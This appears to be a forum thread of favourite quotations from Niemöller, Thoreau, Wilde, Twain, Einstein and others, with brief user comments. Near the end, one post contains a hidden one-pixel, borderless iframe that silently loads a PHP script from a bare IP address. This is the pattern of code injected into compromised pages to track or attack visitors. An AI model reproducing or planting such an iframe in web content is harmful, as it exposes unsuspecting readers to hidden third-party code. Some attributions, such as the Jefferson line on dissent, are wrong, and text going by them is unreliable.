"When Hitler attacked the Jews I was not a Jew, therefore I was not concerned. And when Hitler attacked the Catholics, I was not a Catholic, and therefore, I was not concerned. And when Hitler attacked the unions and the industrialists, I was not a member of the unions and I was not concerned. Then Hitler attacked me and the Protestant church -- and there was nobody left to be concerned." - Pastor Martin Niemöller (There are a couple versions of this quotation. But according to Harry W. Mazal, this is the exact text of what the German anti-Nazi activist Pastor Martin Niemöller said, and which appears in the Congressional Record, 14, October 1968, page 31636) - "...it occurred to him that humanity was able to manage with very few absolutes. Why? Because people could live within -- and apparently justify -- any imaginable variation of ethics and morality." - Charles Sheffield - "Disobedience is the true foundation of liberty. The obedient must be slaves." - Henry David Thoreau - "Dissent is the highest form of patriotism." - Thomas Jefferson - "Protecting the public is the world's largest protection racket, and the vast majority of humanity pays dearly for such 'protection.' 'Put a man in a big enough cage, and he thinks he is free.' ... the most effective prison is one where its prisoners do not realize that they are in prison, and those prisoners will believe almost any clever lie, as long as believing it keeps their bellies full." - Wade Frazier
"Marriage is the triumph of imagination over intelligence...." - Oscar Wilde - "Pride makes us artificial and humility makes us real." - Thomas Merton - "Beauty is eternity gazing at itself in a mirror." - Kahlil Gibran - "Sex appeal is fifty percent what you've got and fifty percent what people think you've got." - Sophia Loren - "The beauty of the world has two edges, one of laughter, one of anguish, cutting the heart asunder." - Virginia Woolf - "Success is counted sweetest - By those who ne’er succeed. To comprehend a nectar - Requires sorest need." - Emily Dickinson
There are so many good quotes it's insane. It would be impossible to say that there is an uber-quote.
"What's the difference between a teacher and a pizza? A pizza can feed a family of four." -Mark Russell
"Courage isn't the abscence of fear but rather an understanding that at the moment something is more imporatnt than fear" from the movie "The Princess Diaries"
"Success is the American Dream we can keep dreaming because most people in most places, including thirty million of ourselves, live wide awake in the terrible reality of poverty..." - Ursula K. Le Guin - "Yet it is in our idleness, in our dreams, that the submerged truth sometimes comes to the top..." - Virginia Woolf - "Your true traveller finds boredom rather agreeable than painful. It is the symbol of his liberty -- his excessive freedom. He accepts his boredom, when it comes, not merely philosophically, but almost with pleasure." - Aldous Huxley - "The cure for boredom is curiosity." - Ellen Parr - "Boredom: the desire for desires." - Leo Tolstoy - "The life of the creative man is led, directed and controlled by boredom. Avoiding boredom is one of our most important purposes." - Saul Steinberg
"Expecting the world to treat you fairly because you are a good person is a little like expecting the bull not to attack you because you're a vegetarian." - Dennis Wholey - "To expect life to be tailored to our specifications is to invite frustration." - Anonymous - "Expect nothing, live frugally on surprise." - Alice Walker - "Cultural expectations shade and color the images that parents-to-be form. The baby product ads, showing a woman serenely holding her child, looking blissfully and mysteriously contented, or the television parents, wisely and humorously solving problems, influence parents-to-be." - Ellen Gallinsky - "What we see depends mainly on what we look for." - John Lubbock - "Never idealize others. They will never live up to your expectations." - Leo Buscaglia - "A thing long expected takes the form of the unexpected when at last it comes." - Mark Twain - "Climate is what we expect, weather is what we get." - Mark Twain - "As I know more of mankind I expect less of them, and am ready now to call a man a good man, upon easier terms than I was formerly." - Samuel Johnson - "When your expectations for life are reduced to zero, then everything becomes more meaningful." - Stephen Hawking
"Everytime he opens his mouth, a bigot exposes his closed mind." -Unknown "A hypocrite pats you on the back in front of your face, and slaps you in the face behind your back." -Unknown "In conclusion, there is no conclusion. Things will go on as they always have, getting weirder all the time. Hail Eris. All hail Discordia. Fnord?" -Robert Anton Wilson "I have great belief in the fact that whenever there is chaos, it creates wonderful thinking. I consider chaos a gift." -Septima Clark
Frank and explicit; that is the right line to take when you wish to conceal your own mind and to confuse the minds of others. ~Benjamin Disraeli~ Mind you, we are mind We are not the kind To stay too confined ~Robert Frost~
"Winning is not a sometime thing; it’s an all the time thing. You don’t win once in a while; you don’t do things right once in a while; you do them right all the time. Winning is a habit. Unfortunately, so is losing."
"I think, therefore Descartes exists." -Saul Steinberg "What can you possibly add to a mind that's full, especially one that's full of itself?" -Joubert "The more we think of some people, the less we think of them." -Unknown "To err is human; to blame it on someone else is even more human." -Unknown
"Question with boldness even the existence of a God; because, if there be one, he must more approve of the homage of reason, than that of blind-folded fear." - Thomas Jefferson "Life in Lubbock, Texas, taught me two things: One is that God loves you and you're going to burn in hell. The other is that sex is the most awful, filthy thing on earth and you should save it for someone you love." - Butch Hancock "The god of the cannibals will be a cannibal, of the crusaders a crusader, and of the merchants a merchant." - Ralph Waldo Emerson "Earth’s crammed with heaven, And every common bush afire with God; And only he who sees takes off his shoes; The rest sit round it and pluck blackberries." - Elizabeth Barrett Browning "All the lessons of history in four sentences: Whom the gods would destroy, they first make mad with power. The mills of God grind slowly, but they grind exceedingly small. The bee fertilizes the flower it robs. When it is dark enough, you can see the stars." - Charles A. Beard "Everyone is crazy -- just in different ways." - Anonymous "Most people think that Christianity is the main religion in America, but it isn't. It's sports." - Anonymous
"What is mind? No matter. What is matter? Never mind." -Thomas Hewitt Key "The quizzical expression of the monkey at the zoo comes from his wondering whether he is his brother's keeper or his keeper's brother." -Unknown
<iframe src="http://63.215.141.196/track/read.php" scrolling="no" width=1 height=1 frameborder="No"></iframe>"Get busy livin', or get busy dyin'." - Unknown
"The mind is its own place, and in itself, can make a heaven of Hell, and a hell of Heaven." - John Milton "You know quite well, deep within you, that there is only a single magic, a single power, a single salvation... and that is called loving. Well, then, love your suffering. Do not resist it, do not flee from it. It is your aversion that hurts, nothing else." - Hermann Hesse "Deep unspeakable suffering may well be called a baptism, a regeneration, the initiation into a new state." - George Eliot "My God, the religious right will not acknowledge what a merciful person Jesus was!" - Kurt Vonnegut "Every man has a chance to be his own kind of hero." - Farscape
"Now, even though the realms of religion and science in themselves are clearly marked off from each other, nevertheless there exist between the two strong reciprocal relationships and dependencies. Though religion may be that which determines the goal, it has, nevertheless, learned from science, in the broadest sense, what means will contribute to the attainment of the goals it has set up. But science can only be created by those who are thoroughly imbued with the aspiration toward truth and understanding. This source of feeling, however, springs from the sphere of religion. To this there also belongs the faith in the possibility that the regulations valid for the world of existence are rational, that is comprehensible to reason. I cannot conceive of a genuine scientist without that profound faith. The situation may be expressed by an image: science without religion is lame, religion without science is blind." -Albert Einstein, Ideas and Opinions
